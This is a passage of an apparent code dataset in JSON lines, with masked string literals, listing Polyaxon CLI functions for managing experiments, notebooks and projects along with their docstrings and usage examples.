experiment -xp 19 resources -j 1 --gpu\n    ```", "id": "f1059:m10"}
{"signature": "@experiment.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def logs(ctx, job, past, follow, hide_time):", "body": "def get_experiment_logs():<EOL><INDENT>if past:<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment.logs(<EOL>user, project_name, _experiment, stream=False)<EOL>get_logs_handler(handle_job_info=True,<EOL>show_timestamp=not hide_time,<EOL>stream=False)(response.content.decode().split('<STR_LIT:\\n>'))<EOL>print()<EOL>if not follow:<EOL><INDENT>return<EOL><DEDENT><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>if not follow:<EOL><INDENT>Printer.print_error(<EOL>'<STR_LIT>'.format(_experiment))<EOL>Printer.print_error(<EOL>'<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>PolyaxonClient().experiment.logs(<EOL>user,<EOL>project_name,<EOL>_experiment,<EOL>message_handler=get_logs_handler(handle_job_info=True,<EOL>show_timestamp=not hide_time))<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>def get_experiment_job_logs():<EOL><INDENT>if past:<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment_job.logs(<EOL>user,<EOL>project_name,<EOL>_experiment,<EOL>_job,<EOL>stream=False)<EOL>get_logs_handler(handle_job_info=True,<EOL>show_timestamp=not hide_time,<EOL>stream=False)(response.content.decode().split('<STR_LIT:\\n>'))<EOL>print()<EOL>if not follow:<EOL><INDENT>return<EOL><DEDENT><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>if not follow:<EOL><INDENT>Printer.print_error(<EOL>'<STR_LIT>'.format(_experiment))<EOL>Printer.print_error(<EOL>'<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>PolyaxonClient().experiment_job.logs(<EOL>user,<EOL>project_name,<EOL>_experiment,<EOL>_job,<EOL>message_handler=get_logs_handler(handle_job_info=True,<EOL>show_timestamp=not hide_time))<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>if job:<EOL><INDENT>_job = get_experiment_job_or_local(job)<EOL>get_experiment_job_logs()<EOL><DEDENT>else:<EOL><INDENT>get_experiment_logs()<EOL><DEDENT>", "docstring": "Get experiment or experiment job logs.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples for getting experiment logs:\n\n    \\b\n    ```bash\n    $ polyaxon experiment logs\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 10 -p mnist logs\n    ```\n\n    Examples for getting experiment job logs:\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 1 -j 1 logs\n    ```", "id": "f1059:m11"}
{"signature": "@experiment.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def outputs(ctx):", "body": "user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().experiment.download_outputs(user, project_name, _experiment)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success('<STR_LIT>')<EOL>", "docstring": "Download outputs for experiment.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 1 outputs\n    ```", "id": "f1059:m12"}
{"signature": "@experiment.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def bookmark(ctx):", "body": "user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().experiment.bookmark(user, project_name, _experiment)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Bookmark experiment.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon experiment bookmark\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 2 bookmark\n    ```", "id": "f1059:m13"}
{"signature": "@experiment.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def unbookmark(ctx):", "body": "user, project_name, _experiment = get_project_experiment_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().experiment.unbookmark(user, project_name, _experiment)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Unbookmark experiment.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon experiment unbookmark\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon experiment -xp 2 unbookmark\n    ```", "id": "f1059:m14"}
{"signature": "@notebook.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def url(ctx):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>response = PolyaxonClient().project.get_project(user, project_name)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if response.has_notebook:<EOL><INDENT>click.echo(get_notebook_url(user, project_name))<EOL><DEDENT>else:<EOL><INDENT>Printer.print_warning(<EOL>'<STR_LIT>'.format(project_name))<EOL>click.echo('<STR_LIT>')<EOL><DEDENT>", "docstring": "Prints the notebook url for this project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon notebook url\n    ```", "id": "f1060:m2"}
{"signature": "@notebook.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, type=click.Path(exists=True),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def start(ctx, file, u):  ", "body": "specification = None<EOL>job_config = None<EOL>if file:<EOL><INDENT>specification = check_polyaxonfile(file, log=False).specification<EOL><DEDENT>if u:<EOL><INDENT>ctx.invoke(upload, sync=False)<EOL><DEDENT>if specification:<EOL><INDENT>check_polyaxonfile_kind(specification=specification, kind=specification._NOTEBOOK)<EOL>job_config = specification.parsed_data<EOL><DEDENT>user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>response = PolyaxonClient().project.start_notebook(user, project_name, job_config)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>click.echo(get_notebook_url(user, project_name))<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>if response.status_code != <NUM_LIT>:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success('<STR_LIT>'.format(project_name))<EOL>clint.textui.puts(\"<STR_LIT>\")<EOL>clint.textui.puts(\"<STR_LIT>\")<EOL>with clint.textui.indent(<NUM_LIT:4>):<EOL><INDENT>clint.textui.puts(get_notebook_url(user, project_name))<EOL><DEDENT>", "docstring": "Start a notebook deployment for this project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon notebook start -f file -f file_override ...\n    ```\n\n    Example: upload before running\n\n    \\b\n    ```bash\n    $ polyaxon -p user12/mnist notebook start -f file -u\n    ```", "id": "f1060:m3"}
{"signature": "@notebook.command()<EOL>@click.option('<STR_LIT>', type=bool,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def stop(ctx, commit, yes):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>if not yes and not click.confirm(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(user, project_name)):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if commit is None:<EOL><INDENT>commit = True<EOL><DEDENT>try:<EOL><INDENT>PolyaxonClient().project.stop_notebook(user, project_name, commit)<EOL>Printer.print_success('<STR_LIT>')<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Stops the notebook deployment for this project if it exists.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)", "id": "f1060:m4"}
{"signature": "@click.group()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str)<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def project(ctx, project):  ", "body": "if ctx.invoked_subcommand not in ['<STR_LIT>', '<STR_LIT:list>']:<EOL><INDENT>ctx.obj = ctx.obj or {}<EOL>ctx.obj['<STR_LIT>'] = project<EOL><DEDENT>", "docstring": "Commands for projects.", "id": "f1061:m1"}
{"signature": "@project.command()<EOL>@click.option('<STR_LIT>', required=True, type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def create(ctx, name, description, tags, private, init):", "body": "try:<EOL><INDENT>tags = tags.split('<STR_LIT:U+002C>') if tags else None<EOL>project_dict = dict(name=name, description=description, is_public=not private, tags=tags)<EOL>project_config = ProjectConfig.from_dict(project_dict)<EOL><DEDENT>except ValidationError:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>try:<EOL><INDENT>_project = PolyaxonClient().project.create_project(project_config)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\".format(_project.name))<EOL>if init:<EOL><INDENT>ctx.obj = {}<EOL>ctx.invoke(init_project, project=name)<EOL><DEDENT>", "docstring": "Create a new project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon project create --name=cats-vs-dogs --description=\"Image Classification with DL\"\n    ```", "id": "f1061:m2"}
{"signature": "@project.command()<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@clean_outputs<EOL>def list(page):  ", "body": "user = AuthConfigManager.get_value('<STR_LIT:username>')<EOL>if not user:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL><DEDENT>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().project.list_projects(user, page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>')<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>')<EOL><DEDENT>objects = list_dicts_to_tabulate(<EOL>[o.to_light_dict(<EOL>humanize_values=True,<EOL>exclude_attrs=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:description>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>for o in response['<STR_LIT>']])<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List projects.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)", "id": "f1061:m3"}
{"signature": "@project.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def get(ctx):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>response = PolyaxonClient().project.get_project(user, project_name)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>get_project_details(response)<EOL>", "docstring": "Get info for current project, by project_name, or user/project_name.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    To get current project:\n\n    \\b\n    ```bash\n    $ polyaxon project get\n    ```\n\n    To get a project by name\n\n    \\b\n    ```bash\n    $ polyaxon project get user/project\n    ```", "id": "f1061:m4"}
{"signature": "@project.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def delete(ctx):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>if not click.confirm(\"<STR_LIT>\".format(user, project_name)):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>try:<EOL><INDENT>response = PolyaxonClient().project.delete_project(user, project_name)<EOL>local_project = ProjectManager.get_config()<EOL>if local_project and (user, project_name) == (local_project.user, local_project.name):<EOL><INDENT>ProjectManager.purge()<EOL><DEDENT><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(user, project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if response.status_code == <NUM_LIT>:<EOL><INDENT>Printer.print_success(\"<STR_LIT>\".format(user, project_name))<EOL><DEDENT>", "docstring": "Delete project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)", "id": "f1061:m5"}
{"signature": "@project.command()<EOL>@click.option('<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=bool, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def update(ctx, name, description, tags, private):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>update_dict = {}<EOL>if name:<EOL><INDENT>update_dict['<STR_LIT:name>'] = name<EOL><DEDENT>if description:<EOL><INDENT>update_dict['<STR_LIT:description>'] = description<EOL><DEDENT>if private is not None:<EOL><INDENT>update_dict['<STR_LIT>'] = not private<EOL><DEDENT>tags = validate_tags(tags)<EOL>if tags:<EOL><INDENT>update_dict['<STR_LIT>'] = tags<EOL><DEDENT>if not update_dict:<EOL><INDENT>Printer.print_warning('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>try:<EOL><INDENT>response = PolyaxonClient().project.update_project(user, project_name, update_dict)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>get_project_details(response)<EOL>", "docstring": "Update project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon update foobar --description=\"Image Classification with DL using TensorFlow\"\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon update mike1/foobar --description=\"Image Classification with DL using TensorFlow\"\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon update --tags=\"foo, bar\"\n    ```", "id": "f1061:m6"}
{"signature": "@project.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def groups(ctx, query, sort, page):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().project.list_experiment_groups(username=user,<EOL>project_name=project_name,<EOL>query=query,<EOL>sort=sort,<EOL>page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error(<EOL>'<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user, project_name))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(<EOL>user, project_name))<EOL><DEDENT>objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True))<EOL>for o in response['<STR_LIT>']]<EOL>objects = list_dicts_to_tabulate(objects)<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>objects.pop('<STR_LIT>', None)<EOL>objects.pop('<STR_LIT:user>', None)<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List experiment groups for this project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    Get all groups:\n\n    \\b\n    ```bash\n    $ polyaxon project groups\n    ```\n\n    Get all groups with with status {created or running}, and\n    creation date between 2018-01-01 and 2018-01-02,\n    and search algorithm not in {grid or random search}\n\n    \\b\n    ```bash\n    $ polyaxon project groups \\\n      -q \"status:created|running, started_at:2018-01-01..2018-01-02, search_algorithm:~grid|random\"\n    ```\n\n    Get all groups sorted by update date\n\n    \\b\n    ```bash\n    $ polyaxon project groups -s \"-updated_at\"\n    ```", "id": "f1061:m7"}
{"signature": "@project.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>@clean_outputs<EOL>def jobs(ctx, query, sort, page):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().project.list_jobs(username=user,<EOL>project_name=project_name,<EOL>query=query,<EOL>sort=sort,<EOL>page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user, project_name))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user, project_name))<EOL><DEDENT>objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True))<EOL>for o in response['<STR_LIT>']]<EOL>objects = list_dicts_to_tabulate(objects)<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>objects.pop('<STR_LIT>', None)<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List jobs for this project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    Get all jobs:\n\n    \\b\n    ```bash\n    $ polyaxon project jobs\n    ```\n\n    Get all jobs with with status not in {created or running}\n\n    \\b\n    ```bash\n    $ polyaxon project jobs -q \"status:~created|running\"\n    ```\n\n    Get all jobs with with status failed\n\n    \\b\n    ```bash\n    $ polyaxon project jobs -q \"status:failed\"\n    ```\n\n    Get all jobs sorted by update date\n\n    \\b\n    ```bash\n    $ polyaxon project jobs -s \"-updated_at\"\n    ```", "id": "f1061:m8"}
{"signature": "@project.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>@clean_outputs<EOL>def experiments(ctx, metrics, declarations, independent, group, query, sort, page):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().project.list_experiments(username=user,<EOL>project_name=project_name,<EOL>independent=independent,<EOL>group=group,<EOL>metrics=metrics,<EOL>declarations=declarations,<EOL>query=query,<EOL>sort=sort,<EOL>page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user, project_name))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user, project_name))<EOL><DEDENT>if metrics:<EOL><INDENT>objects = get_experiments_with_metrics(response)<EOL><DEDENT>elif declarations:<EOL><INDENT>objects = get_experiments_with_declarations(response)<EOL><DEDENT>else:<EOL><INDENT>objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True))<EOL>for o in response['<STR_LIT>']]<EOL><DEDENT>objects = list_dicts_to_tabulate(objects)<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>objects.pop('<STR_LIT>', None)<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List experiments for this project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    Get all experiments:\n\n    \\b\n    ```bash\n    $ polyaxon project experiments\n    ```\n\n    Get all experiments with with status {created or running}, and\n    creation date between 2018-01-01 and 2018-01-02, and declarations activation equal to sigmoid\n    and metric loss less or equal to 0.2\n\n    \\b\n    ```bash\n    $ polyaxon project experiments \\\n      -q \"status:created|running, started_at:2018-01-01..2018-01-02, \\\n          declarations.activation:sigmoid, metric.loss:<=0.2\"\n    ```\n\n    Get all experiments sorted by update date\n\n    \\b\n    ```bash\n    $ polyaxon project experiments -s \"-updated_at\"\n    ```", "id": "f1061:m9"}
{"signature": "@project.command()<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def builds(ctx, query, sort, page):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().project.list_builds(username=user,<EOL>project_name=project_name,<EOL>query=query,<EOL>sort=sort,<EOL>page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user, project_name))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user, project_name))<EOL><DEDENT>objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True))<EOL>for o in response['<STR_LIT>']]<EOL>objects = list_dicts_to_tabulate(objects)<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>objects.pop('<STR_LIT>', None)<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "List build jobs for this project.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    Get all builds:\n\n    \\b\n    ```bash\n    $ polyaxon project builds\n    ```\n\n    Get all builds with with status not in {created or running}\n\n    \\b\n    ```bash\n    $ polyaxon project builds -q \"status:~created\"\n    ```\n\n    Get all builds with with status failed\n\n    \\b\n    ```bash\n    $ polyaxon project builds -q \"status:failed\"\n    ```\n\n    Get all builds sorted by update date\n\n    \\b\n    ```bash\n    $ polyaxon project builds -s \"-updated_at\"\n    ```", "id": "f1061:m10"}
{"signature": "@project.command()<EOL>@click.option('<STR_LIT>', type=int, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def tensorboards(ctx, query, sort, page):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().project.list_tensorboards(username=user,<EOL>project_name=project_name,<EOL>query=query,<EOL>sort=sort,<EOL>page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user, project_name))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(user,<EOL>project_name))<EOL><DEDENT>objects = [Printer.add_status_color(o.to_light_dict(humanize_values=True))<EOL>for o in response['<STR_LIT>']]<EOL>objects = list_dicts_to_tabulate(objects)<EOL>if 